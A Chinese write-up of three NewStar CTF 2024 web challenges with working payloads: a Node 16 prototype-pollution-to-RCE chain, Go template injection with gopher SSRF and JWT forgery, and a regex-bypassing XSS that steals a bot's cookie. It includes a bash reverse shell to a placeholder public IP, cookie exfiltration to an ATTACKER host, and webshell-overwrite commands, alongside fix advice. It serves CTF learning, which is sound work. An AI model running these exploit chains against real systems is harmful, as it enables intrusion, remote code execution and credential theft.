NewStar CTF 2024 Web 全解(W4-W5)
官方 WP:https://newstar.wiki/wp/2024/。以下三题均从附件源码出发正向推导,并在本地完成复现验证(无 Docker 环境,全部用用户态工具链跑通:Node 16 / Go 1.22.5 / Python 标准库)。线上靶机赛后已关,flag 获取方式按题目环境说明。
| # | 周 | 题目 | 考点 | 本地验证 |
|---|---|---|---|---|
| 1 | W4 | ezpollute | 原型链污染 → fork 子进程 RCE | ✅ node16 全链 4 次复现 |
| 2 | W4 | PangBai 过家家(4) | Go SSTI + curl gopher SSRF 任意文件读 | ✅ Go 1.22 端到端闭环 |
| 3 | W5 | PangBai 过家家(5) | 正则绕过 XSS + bot 偷 cookie | ✅ 正则实测 + mock e2e |
1. ezpollute(Node/Koa,原型链污染 → RCE)
题目速览
Koa 图片水印服务,Dockerfile 为 node:16。三个关键路由:
POST /upload:上传图片 → 生成userID(uuid) → 下发tokencookie,目录uploads/<userID>/;POST /config:userConfig = JSON.parse(rawBody)→clone(defaultWaterMarkConfig)→merge(finalConfig, userConfig)→ 写uploads/<userID>/config.json—— 原型链污染点;POST /process:fork(PhotoProcess.js, [userDir], { silent: true })子进程打水印打包 —— RCE 触发点。
flag 生成(start.sh):echo "$ICQ_FLAG" > /flag → flag 在容器 /flag 文件里。
漏洞原理
① merge 的 __proto__ 过滤为什么能绕过
merge 只检查 key === "__proto__",而 JSON 里键名是 "constructor":"constructor" in target 对任何普通对象恒为真,于是 merge(target["constructor"], source["constructor"]) 一路递归到 Object.prototype:
{"constructor": {"prototype": { "NODE_OPTIONS": "--require /proc/self/environ", "env": {"A": "require(\"child_process\").execSync(\"<命令>\")//"}}}}最终 Object.prototype.NODE_OPTIONS 与 Object.prototype.env 被写进 服务进程(父进程) 的原型链。
② fork 为什么会读到被污染的对象(Node 16 特性)
Node 16 的 fork 实现是 options = { ...options }(保留普通 Object.prototype),后续 options.env / options.execArgv 沿原型链命中污染值;spawn 的 normalizeSpawnArguments 对 env 用 for..in 收集键(源码注释原话 “Prototype values are intentionally included”)。于是子进程环境变量变成:
A=require("child_process").execSync("echo PWNED > /tmp/x")//NODE_OPTIONS=--require /proc/self/environ③ NODE_OPTIONS + /proc/self/environ 即 RCE
子进程以 NODE_OPTIONS=--require /proc/self/environ 启动,Node 会在跑主模块之前先 require 该文件。/proc/self/environ 内容以 \x00 分隔、开头正是 A=require("child_process").execSync("...")//,无扩展名按 JS 模块加载:A = require("child_process").execSync("...")//,// 把后面所有 NUL 分隔内容注释掉 → 命令在子进程启动阶段执行。
④ 版本敏感性(重要)
- Node 16(本题):完整链可用(本地实测 RCE 成功)。
- Node 24:
fork/spawn已加固为{__proto__: null, ...options},污染值进不了子进程 env,/proc/self/environ加载直接 SyntaxError → 无 RCE。本地复现必须用 node:16(下载 node-v16.20.2 即可)。
攻击步骤(完整 payload)
# Step 1:上传图片拿 token(Set-Cookie: token=<userID>.<sig>)curl -v -F 'images=@soyo.jpg' http://127.0.0.1:3000/upload
# Step 2:POST /config 原型链污染curl -X POST http://127.0.0.1:3000/config \ -H 'Content-Type: application/json' \ -b 'token=<userID>.<sig>' \ -d '{"constructor":{"prototype":{"NODE_OPTIONS":"--require /proc/self/environ","env":{"A":"require(\"child_process\").execSync(\"echo PWNED > /tmp/ezpollute_pwned_xxx\")//"}}}}'
# Step 3:POST /process 触发 fork → 子进程启动即执行命令curl -X POST http://127.0.0.1:3000/process -b 'token=<userID>.<sig>'A 的值必须以 // 结尾(注释掉 environ 其余内容),命令用 shell 内建或绝对路径(污染后子进程 env 被整个替换、没有 PATH)。
本地验证证据(node-v16.20.2 跑服务)
[2] POST /config (prototype pollution payload) → {"code":1,"msg":"Config updated successfully"}[3] POST /process → {"code":1,"msg":"Photos processed successfully"}[+] RCE CONFIRMED! marker file: /tmp/ezpollute_pwned_fresh_run → PWNED_fresh_run另做「无回显 RCE 数据带出」验证:让子进程 cat /flag > static/f1ag.txt 这类写文件后 GET /f1ag.txt 回读成功(LEAKED_EXFIL2)——即线上不出网时拿 flag 的路径。
线上化拿 flag
- flag 在
/flag,格式flag{...}。 - 出网:反弹 shell,
A设为require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/<公网IP>/<端口> 0>&1'")//,然后cat /flag。 - 不出网(比赛时即如此):
require("child_process").execSync("cat /flag > /app/static/f1ag.txt")//→GET /f1ag.txt;或官方做法:echo <base64(WebShell)> | base64 -d > /app/index.js覆盖入口,靠node-dev热重载直接得到有回显 WebShell。
修复建议
merge 用 Object.create(null) 或对 key in target 排除 constructor/__proto__;升级 Node(新版 fork 天然阻断此链);深拷贝改用 structuredClone 并对用户输入白名单校验。
2. PangBai 过家家(4)(Go,SSTI + curl gopher SSRF)
题目速览
三个路由:/、/eye(模板渲染)、/favorite(签名文件渲染)。flag 在容器环境变量 FLAG(Dockerfile ENV FLAG=...)。官方提示:只需读 main.go。
源码关键点
/eye?input=xxx:strings.Replace(eye.html, "%s", input, -1)后template.Parse→ Gotext/templateSSTI。上下文是Helper{User, Config},Stringer的String()让{{ . }}只返回[struct],但导出字段可直接访问:{{ .Config.JwtKey }}。Helper.Curl:
func (c Helper) Curl(url string) string { cmd := exec.Command("curl", "-fsSL", "--", url) ...}模板可调用导出方法 {{ .Curl "url" }};-- 挡掉参数注入,但 curl 支持 gopher 协议 → 任意原始 TCP 报文。
/favoritePUT:RemoteAddr必须是127.0.0.1/[::1],JWTuser == "Papa",body 即新config.SignaturePath;GET/favorite读取该文件并{{ . }}渲染 → 任意文件读。- JWT:HS256,密钥
config.JwtKey(64 位随机串);claims 键名user。
漏洞原理
- SSTI:
input未过滤进入template.Parse,模板表达式在服务端执行(含调用Curl起系统进程)。 - JWT 密钥泄露:
{{ .Config.JwtKey }}直接读导出字段 → 可伪造任意user的 HS256 token。 - localhost 校验如何穿透:
RemoteAddr基于 TCP 对端。通过{{ .Curl "gopher://127.0.0.1:8000/_..." }},是服务端自己向本机发连接 → 对端自然就是 127.0.0.1。 - gopher:
gopher://host:port/_<百分号编码的原始报文>,curl 解码后把报文原样发到 TCP 上 → 以 127.0.0.1 身份发出方法为 PUT、带 Cookie 的合法 HTTP。 - 读环境变量:
/proc/self/environ渲染出FLAG=flag{...}。
攻击步骤
Step 1|SSTI 泄露 JWT 密钥
curl "http://127.0.0.1:8000/eye?input=%7B%7B.Config.JwtKey%7D%7D"# <span id="output">1WMlGwF6h8i3Cl9WU3defP2AaKJn9BsfDl3Ye0Zf0pgJOOPbggSOHfD3XpZpMucA</span>Step 2|伪造 HS256 JWT(user=Papa)(纯标准库)
import base64, hashlib, hmac, json, timedef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()key = "<泄露的 JwtKey>"header = b64u(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(",",":")).encode())payload = b64u(json.dumps({"user":"Papa","exp":int(time.time())+7200}, separators=(",",":")).encode())sig = b64u(hmac.new(key.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())token = f"{header}.{payload}.{sig}"Step 3|构造原始 HTTP PUT 报文 → gopher URL
PUT /favorite HTTP/1.1Host: 127.0.0.1:8000Cookie: token=eyJ...Content-Length: 18 # 必须精确;/proc/self/environ 是 18 字节Connection: close # 防 curl gopher 等 EOF 挂起
/proc/self/environ # body 不带换行百分号编码(除字母数字外全 %XX,保证解码字节一致):
gopher://127.0.0.1:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20127%2E0%2E0%2E1%3A8000%0D%0ACookie%3A%20token%3D...%0D%0AContent%2DLength%3A%2018%0D%0AConnection%3A%20close%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron编码坑:gopher 内层
%XX是给 curl 解码的;/eye?input=外层查询参数必须把内层%再编码成%25,否则被 Gor.URL.Query()提前解一层。
Step 4|SSTI 触发 SSRF(带 Papa Cookie)
curl -s "http://127.0.0.1:8000/eye?input=%7B%7B.Curl%20%22gopher%3A%2F%2F...%22%7D%7D" \ -H "Cookie: token=eyJ..."# 输出 ok;服务端日志:Curl: gopher://... / Request IP: 127.0.0.1Step 5|GET /favorite 读 flag
curl -s http://127.0.0.1:8000/favorite# 页面含 FLAG=flag{...},正则 flag\{[^}]+\} 提取一键:python3 solves/web/pangbai4/solve.py(纯标准库:泄露 key → 伪造 JWT → 构造 gopher → 触发 SSRF → 读 /favorite → 提取 flag)。
本地验证证据
用户态安装 Go 1.22.5(proxy.golang.org 不通,GOPROXY=https://goproxy.cn,direct 拉依赖成功),FLAG='flag{local_test_pangbai4_9f8e7d6c}' 启动服务,端到端一次打通(重启后二次复现):
[+] JWT key: 1WMlGwF6h8i3Cl9WU3defP2AaKJn9BsfDl3Ye0Zf0pgJOOPbggSOHfD3XpZpMucA[+] gopher URL 长度: 344[+] FLAG: flag{local_test_pangbai4_9f8e7d6c}服务端日志佐证:Request IP: 127.0.0.1。本机 curl 8.5.0 支持 gopher 协议,与线上 alpine curl 行为一致。
修复建议
用户输入不要进入 template.Parse(先解析静态模板,输入只作数据传入);鉴权不依赖 RemoteAddr;模板上下文不要整体暴露 Config(含密钥)与方法 Curl;curl 限制协议(--proto -gopher)与目标地址并加 --max-time。
3. PangBai 过家家(5)(Koa+Puppeteer,正则绕过 XSS)
题目速览
POST /api/send:提交{title, content}(title≤50、content≤500)→ 返回{id}(内存 Map 存信);POST /api/call:bot 访问http://localhost:3000/box/<id>;- FLAG 在 bot Cookie:
FLAG=flag{...},httpOnly:false(JS 直接document.cookie可读)、domain:localhost:3000、sameSite:Strict; /box/:id渲染 title/content,唯一防线是safe_html三条正则;开源仓库确认 art-template{{@ }}不转义原始输出、无 CSP。
漏洞原理:三条正则为什么能被「多行标签」绕过
function safe_html(str: string) { return str .replace(/<.*>/igm, '') .replace(/<\.*>/igm, '') .replace(/<.*>.*<\/.*>/igm, '');}i忽略大小写;g全局;m多行——只改变^/$语义,.仍然不匹配换行符;题目没有用s(s才会让.匹配\n)。- 因此把
<和>放不同行,<.*>在同一条行内找不到成对的>,三条正则全部失配,标签原样保留,浏览器折叠换行后仍是合法可执行 HTML。
关键反例:<script>\nalert(1)\n</script> 不能绕过——R1 会分别吞掉 <script> 与 </script>(它们各自的 > 仍在同一行),只剩内容。必须让每个 > 与对应的 < 异行(官方 EXP 的 .replace(/\>/g,'\n>') 正是此技巧)。
攻击步骤与 payload
方式 A(官方确认靶机不出网,推荐)——bot 把 cookie 回写成新信件,再从信箱读:
<script>fetch('/api/send',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'leak',content:document.cookie})})</script>方式 B(靶机出网/有公网接收端)——no-cors 简单请求打点:
<script>fetch('http://ATTACKER:54100?leak=1',{method:'POST',body:document.cookie,'no-cors':true})</script>流程:POST /api/send(title 随机、content=载荷)→ POST /api/call {"id":...} 触发 bot → 方式 A 轮询 /box/ 找到标题 leak-* 回信 → 读 /box/<新id> 提取 content 里的 FLAG=flag{...}。脚本:python3 solves/web/pangbai5/solve.py <靶机> --mode server(或 --mode receiver --receiver http://公网IP:54100)。
验证证据
verify_regex.js 原样复刻三条正则实测:<img\nsrc=x\nonerror=...>、<svg\nonload=...>、<script\n>fetch(...)</script\n>、<a\nhref="javascript:...">x</a\n> 全部零命中、原样保留;对照组确认反例行为。本地 mock 靶机(复刻正则 + 原始渲染 + 模拟 bot)端到端双模式均一次拿到 FLAG=flag{mock_flag}。
修复建议
用真正的 HTML 消毒库(DOMPurify 等)替代正则;设置 CSP;bot cookie 加 httpOnly:true;/api/call 只允许访问站内白名单路径。
附:产物
- 攻击脚本:
solves/web/{ezpollute,pangbai4,pangbai5}/solve.py(均纯标准库、可复跑、带注释;pangbai5 另有verify_regex.js) - 完整分题 writeup:
writeups/web/ezpollute.md、writeups/web/pangbai4.md、writeups/web/pangbai5.md